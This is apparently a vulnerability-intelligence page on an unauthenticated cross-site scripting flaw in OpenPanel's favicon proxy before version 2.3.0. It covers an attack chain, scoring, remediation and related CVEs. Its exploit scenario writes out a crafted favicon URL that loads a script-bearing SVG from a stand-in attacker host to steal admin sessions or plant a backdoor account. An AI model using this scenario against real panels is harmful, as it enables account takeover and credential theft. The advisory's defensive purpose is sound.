Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker hosts malicious SVG with embedded JavaScript
-
DeliveryCraft phishing URL targeting GET /misc/favicon?url=
-
ExploitDeliver link to logged-in OpenPanel admin via phishing/CSRF
-
InstallVictim browser fetches and renders SVG on OpenPanel API origin
-
C2Embedded JS executes in same-origin context with admin session
-
ExecuteAttacker script issues credentialed API requests to authenticated admin endpoints
-
ImpactFull admin account compromise or credential exfiltration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The /misc/favicon endpoint is unauthenticated and exposed to the network by default in all OpenPanel installations before 2.3.0 - no special configuration or feature flag is required to be vulnerable. The attacker must be able to reach the OpenPanel instance over the network and host an externally accessible SVG file containing embedded JavaScript that the panel server can fetch. The critical limiting factor is user interaction (UI:P): a logged-in OpenPanel user with an active session must load the crafted favicon URL in their browser, whether via phishing, a malicious link in a shared document, or CSRF from another page. Exploitation is further limited to contexts where the victim's browser processes SVG content returned by the proxy as a renderable document on the OpenPanel origin rather than a downloaded file - this is the condition that enables same-origin script execution and access to authenticated endpoints. |
| Impact | The CVSS 4.0 score of 8.4 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N) accurately reflects the threat model. The attack is zero-complexity for the attacker - no authentication, no special configuration, no race condition - and is limited only by the need to induce a logged-in admin to load a crafted URL (UI:P). The subsequent-system confidentiality impact (SC:H) is the decisive factor: the XSS does not merely steal a cookie but grants the attacker a script context capable of making full authenticated API calls, effectively elevating to admin without credentials. No EPSS score is provided in the input; no KEV listing exists at time of analysis, and no public POC has been identified. Despite the absence of confirmed exploitation, the attack surface is broad (any internet-facing OpenPanel instance), the technique is well-understood, and the payload delivery requires only hosting an SVG file. Real-world risk is meaningful for organizations running OpenPanel with internet-facing admin panels. |
| Exploit ScenarioDerived | An attacker registers a domain and hosts a crafted SVG file at https://attacker.example/evil.svg containing JavaScript that exfiltrates the admin's session token or silently creates a backdoor admin account via the OpenPanel API. The attacker sends a phishing link to an OpenPanel administrator encoded as GET /misc/favicon?url=https://attacker.example/evil.svg; when the admin loads it in their authenticated browser session, the script executes on the OpenPanel API origin, performs credentialed API calls on behalf of the admin, and returns results to the attacker - all without the attacker ever authenticating to the panel. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 04, 2026
Unauthenticated XSS in OpenPanel before 2.3.0 allows remote attackers to execute arbitrary JavaScript in a victim's browser by supplying a malicious SVG URL to the unprotected favicon proxy endpoint GET /misc/favicon. Because the SVG is served from the OpenPanel API origin, embedded scripts inherit same-origin context, enabling the attacker's code to issue credentialed requests against authenticated admin API endpoints on the victim's behalf. No public exploit code has been identified at time of analysis, but the attack requires only standard web delivery and a logged-in admin victim.
RemediationAI
Vendor-released patch: OpenPanel 2.3.0, which remediates the unauthenticated XSS in the favicon proxy endpoint. Administrators should upgrade immediately by following the update procedure documented in the vendor advisory at https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-r7hx-q6f4-vj6h. If immediate patching is not feasible, restrict external access to the /misc/favicon endpoint at the reverse proxy or firewall layer - note this will break favicon previews for external URLs within the panel UI, which is an acceptable trade-off given the severity. As a defense-in-depth measure, deploying a strict Content-Security-Policy header on the OpenPanel origin (e.g., script-src 'self') would reduce the impact of SVG-borne script execution, but this is not a substitute for patching and may require testing against panel functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenPanel is an open-source web-based server control panel (CPE: cpe:2.3:a:openpanel-dev:openpanel:*:*:*:*:*:*:*:*). The vulnerable component is an unauthenticated HTTP proxy endpoint at GET /misc/favicon that fetches favicon resources from caller-supplied external URLs without sanitizing or validating the response content. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): SVG is an XML-based image format natively capable of embedding JavaScript via inline <script> elements and event handlers. When the proxy fetches an attacker-controlled SVG and returns it to the victim's browser, the browser executes the embedded script under the OpenPanel API origin - granting same-origin access to cookies, localStorage, and authenticated API endpoints. This is distinct from a simple reflected XSS because the payload is hosted externally; the endpoint acts as an unauthenticated script delivery mechanism on the panel's own origin.
Know when Openpanel gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Unauthenticated network endpoint (AV:N/PR:N), one user interaction required (UI:R), scope changes to API origin granting high confidentiality impact on authenticated session data (S:C/C:H).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
OpenPanel before 2.3.0 contains a cross-site scripting vulnerability in the unauthenticated favicon proxy endpoint GET /misc/favicon that allows remote attackers to execute scripts by supplying an SVG file URL. Attackers can host malicious SVG files with embedded scripts that execute in the victim's browser on the API origin, enabling same-origin credentialed requests to authenticated endpoints.
Technical POC Analysis
CWE-79 (Improper Neutralization of Input During Web Page Generation) in OpenPanel API before 2.3.0.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
OpenPanel prior to version 2.3.0 contains an unauthenticated cross-site scripting vulnerability in its favicon proxy endpoint that allows attackers to execute arbitrary code within an authenticated administrator's browser session, potentially granting unauthorized access to sensitive administrative APIs. Organizations operating OpenPanel risk administrative account compromise through targeted social engineering attacks against logged-in administrators.
Enforce a strict Content Security Policy prohibiting inline scripts and restricting script-src to 'self'; restrict or disable the /misc/favicon endpoint entirely; implement network segmentation limiting admin console access to trusted networks only; deploy WAF rules blocking suspicious SVG content in favicon requests; monitor administrative API logs for unusual credential-based activity; educate admin users to avoid clicking untrusted SVG links.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Code execution in OpenPanel's js-runtime component lets an authenticated user who holds project write access escape the
An issue in Open Panel v.0.3.4 allows a remote attacker to escalate privileges via the Fix Permissions function. Rated h
An issue in Open Panel v.0.3.4 allows a remote attacker to escalate privileges via the Fix Permissions function. Rated m
Cross Site Request Forgery vulnerability in Open Panel OpenAdmin v.0.3.4 allows a remote attacker to escalate privileges
Server-side request forgery in OpenPanel before 2.3.0 lets unauthenticated remote attackers coerce the panel server into
Unauthenticated ClickHouse SQL injection in OpenPanel before 3.0.0 lets remote attackers read other tenants' analytics d
Sandbox escape in OpenPanel's JavaScript webhook-template runtime (packages/js-runtime) allows an authenticated project
Authenticated remote code execution in OpenPanel before 2.3.0 allows any project member with read access to escape the m
Unauthenticated information disclosure in OpenPanel (openpanel-dev/openpanel) exposes argon2id password hashes and full
Unauthenticated SSRF in OpenPanel before 2.3.0 exposes two utility endpoints - /misc/favicon and /misc/og - that blindly
Cross-tenant data exposure in OpenPanel before 3.0.0 lets any authenticated user read other projects' profiles, events a
Read-level project members in OpenPanel before 3.0.0 can retrieve plaintext integration secrets - Slack bot tokens, inco
EUVD-2026-71032
GHSA-fcgm-pp78-h237
NVD
CVE.org
EPSS
Exploit-DB